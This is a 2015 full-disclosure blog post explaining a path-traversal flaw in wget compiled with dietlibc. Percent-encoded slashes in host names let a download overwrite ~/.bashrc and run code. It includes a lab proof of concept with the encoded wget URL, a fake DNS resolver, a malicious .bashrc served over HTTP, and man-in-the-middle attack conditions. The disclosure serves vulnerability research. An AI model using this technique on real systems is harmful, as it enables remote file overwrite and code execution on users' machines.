Guido Vranken

Posted on December 3, 2015

Full disclosure: remote code execution in wget+dietlibc

Consider the following program:

```
#include <netdb.h>
#include <stdio.h>
int main(int argc, char** argv)
{
struct hostent* r;
r = gethostbyname(argv[1]);
if ( r )
{
printf("Success\n");
}
else
{
printf("Failure\n");
}

return 0;
}
```

Compile

```
$ gcc resolve.c -o resolve
```

Resolving google.com works:

```
$ ./resolve google.com
Success
```

while this doesn't:

```
$ ./resolve "../../../x"
Failure
```

The primary reason that the latter name resolution fails is because there exists no such domain name. In fact, regarded within the realm of DNS, it is a patently illegal host name.

But what happens when I replace my normal DNS server with one that regards all inquiries as valid, and responds to it with a legitimate answer?

For this purpose I leveraged the dnslib Python library, in particular the fixedresolver.py tool that comes with it. Disregard the port number 9999; I am routing UDP 53 -> UDP 9999 using iptables in the background.

```
$ python fixedresolver.py -p 9999Starting Fixed Resolver (*:9999) [UDP]
| . 60 IN A 127.0.0.1
```

Now try to resolve the same host names again:

```
$ ./resolve google.com
Success
$ ./resolve "../../../x"
Failure
```

fixedresolver.py outputs:

```
Request: [192.168.1.46:49428] (udp) / 'google.com.' (A)
Reply: [192.168.1.46:49428] (udp) / 'google.com.' (A) / RRs: A
```

As you can see, the DNS server receives the request for resolving google.com, but not for "../../x". Most likely glibc's gethostname() function detects that this isn't a valid host name and doesn't bother to make the request to the DNS server.

I tried using a different libc: dietlibc:

```
$ bin-x86_64/diet gcc resolve.c -o resolve/tmp/cc11Ec6P.o: In function
resolve.c:(.text+0x1e): warning: warning: gethostbyname() leaks memory.
$ ./resolve google.com
Success
$ ./resolve "../../../x"
Success
```

fixedresolver.py now outputs:

```
Request: [192.168.1.46:43582] (udp) / 'google.com.' (A)
Reply: [192.168.1.46:43582] (udp) / 'google.com.' (A) / RRs: A
Request: [192.168.1.46:40147] (udp) / '/./../x.' (A)
Reply: [192.168.1.46:40147] (udp) / '/./../x.' (A) / RRs: A
```

When using wget you typically specify the host name or IP address as part of the URL:

```
https://en.wikipedia.org/wiki/Main_Page
```

https is the scheme, followed by the host name en.wikipedia.org, and the remainder of this URL is the path. By this logic, it is impossible to specify a host name that contains slashes, since a slash marks the start of the path part of the URL.

```
https://../../../../x/index.html
```

In this example, '..' is the host name, and the remainder, '/../../../x/index.html', is the path.

However, when parsing a URL, wget unescapes percent-encoded characters in the host name part. This happens in url.c url_parse():

```
908 /* Decode %HH sequences in host name. This is important not so muc
909 to support %HH sequences in host names (which other browser
910 don't), but to support binary characters (which will have been
911 converted to %HH by reencode_escapes). */
912 if (strchr (u-&gt;host, '%'))
913 {
914 url_unescape (u-&gt;host);
915 host_modified = true;
916
917 /* Apply IDNA regardless of iri-&gt;utf8_encode status */
918 if (opt.enable_iri &amp;&amp; iri)
919 {
920 char *new = idn_encode (iri, u-&gt;host);
921 if (new)
922 {
923 xfree (u-&gt;host);
924 u-&gt;host = new;
925 u-&gt;idn_allocated = true;
926 host_modified = true;
927 }
928 }
929 }
```

By exploiting this functionality, you can effectively put slashes in host names.

I compiled wget with dietlibc (http://www.fefe.de/dietlibc/) instead of glibc so it will regard every host name, including host names with slashes, as valid.

I also installed a basic web server to serve files to wget:

```
$ echo "echo \"Remote code execution\"" &gt;.bashrc
$ python -m SimpleHTTPServer 11111
Serving HTTP on 0.0.0.0 port 11111 ...
```

(Again, disregard the port number, internally port 80 is forwarded to port 11111 using iptables)

Then run wget with the following parameters:

```
$ ./wget -x "http://%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2
--2015-12-03 12:12:24-- http://../../../../../../home/jhg/.bashrc
Resolving ../../../../../../home/jhg... 192.168.1.46
Connecting to ../../../../../../home/jhg|192.168.1.46|:80... connectec
HTTP request sent, awaiting response... 200 OK
Length: 29 [application/octet-stream]
Saving to: '../../../../../../home/jhg/.bashrc'
```

```

../../../../../../home/jhg/.b 100%[=====================================

2015-12-03 12:12:24 (3.07 MB/s) - '../../../../../../home/jhg/.bashrc'
```

My ~/.bashrc is overwritten, and upon logging in again I see:

```
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.16.0-53-generic x86_64)

* Documentation: https://help.ubuntu.com/

Last login: Thu Dec 3 12:06:39 2015 from 10.0.2.2
Remote code execution
```

Transposing this laboratory set-up to real world exploitation, an attacker would need to coerce the client into downloading a resource such as http://%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fhome%2I (http://%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fhome%2 and make sure that a host name resolution is successful. In a man-in-the-middle set-up the attacker could satisfy the first condition by exploiting the HTTP Location header in response to a client's HTTP request to any server that the attacker is able to intercept. The second condition can be satisfied through either a full man-in-the-middle subterfuge, or by tampering with the cache of the legitimate DNS server so that a resolution request for an outlandish host name will succeed.

TLDR: wget not only uses gethostbyname() to perform name resolution, but implicitly employs it as a host name sanity check. The morale is that gethostbyname() succeeds, the host name cannot contain segments which cause traversal out of the current directory. While this reasoning seems to be sound when using glibc's gethostbyname(), another libc (dietlibc) is more lenient and merely acts as a conduit to the DNS server and employs only a limited set of sanity checks.

It would be interesting to test other libc's in conjunction with wget, and also to see if the issue extends to other software which uses gethostbyname() tacitly as a sanitizer to prevent path traversals.